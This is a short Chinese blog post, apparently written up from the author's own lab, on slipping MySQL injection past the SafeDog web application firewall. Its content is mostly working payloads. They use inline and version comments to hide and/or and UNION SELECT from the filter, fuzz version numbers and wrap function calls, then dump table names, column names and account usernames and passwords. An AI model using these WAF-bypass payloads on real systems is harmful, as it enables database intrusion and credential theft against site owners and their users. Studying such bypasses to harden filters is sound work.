mysql注入-bypass安全狗

虽然以前用分块传输和参数污染的方式绕过了安全狗,但还是想从规则上绕过试试,就搭在自己的环境里面玩玩。而且在网上绕过安全狗的文章也是一抓一大把。

目前搭建的安全狗是官方windows apache的v4.0版,搭建过程我就忽略了。

内联注释

内联注释是mysql为了保持兼容性而存在的,表示方式为/*!.....*/,在mysql中里面的内容会被执行,而/*!50001..*/里面的数字则表示数据库版本大于5.00.01才执行内联注释中的内容。

绕过and、or、1=1的过滤

and、or的过滤将其写入到内联注释中,1=1可以用~1=~1代替
111'/*!or*/~1=~1# 绕过
allen'/*!and*/~1=~2# 绕过


image.png

联合注入绕过

尝试提交111' union/*!select*/1,2,3#,被拦截
这时候可以尝试使用111' union/*!10000 select*/1,2,3#的方式,依然被拦截,这时候可以fuzzing测试一下不被拦截的数字




选择一个可以用的版本,111' union/*!14400 select*/1,2,3#

查询数据库和连接用户:111' union/*!14400 select*/database(),current_user(),3# 拦截
对于系统函数的绕过,可以在函数括号之前插入注释,如database/**/(),database/*!xxxxx aaa*/()绕过,这里我们要选择不被拦截且不被执行的版本数字,经过刚才的fuzzing测试,我们可以使用94400
111' union/*!14400 select*/database/*!94400 abc*/(),current_user/*!94400 abc*/(),3#

爆数据

尝试payload:111' union/*!14400 select*/1,group_concat/*!94400 abc*/(table_name),3 from information_schema.tables where table_schema=database/*!94400 aaa*/()#


不懂为什么group_concat/**/(table_name)不能执行,等一个大佬解释

改一下payload:111' union/*!14400 select*/1,group_concat(/*!table_name*/),3 from information_schema.tables where table_schema=database/*!94400 aaa*/()#,回显表名

爆列名:111' union/*!14400 select*/1,group_concat(/*!column_name*/),3 from information_schema.columns where table_name='users'#

爆账号密码:111' union/*!14400 select*/id,username,password/*!14400 from*/users#

emmmmm,基本思路就这样,就玩到这里,溜

你可能感兴趣的:(mysql注入-bypass安全狗)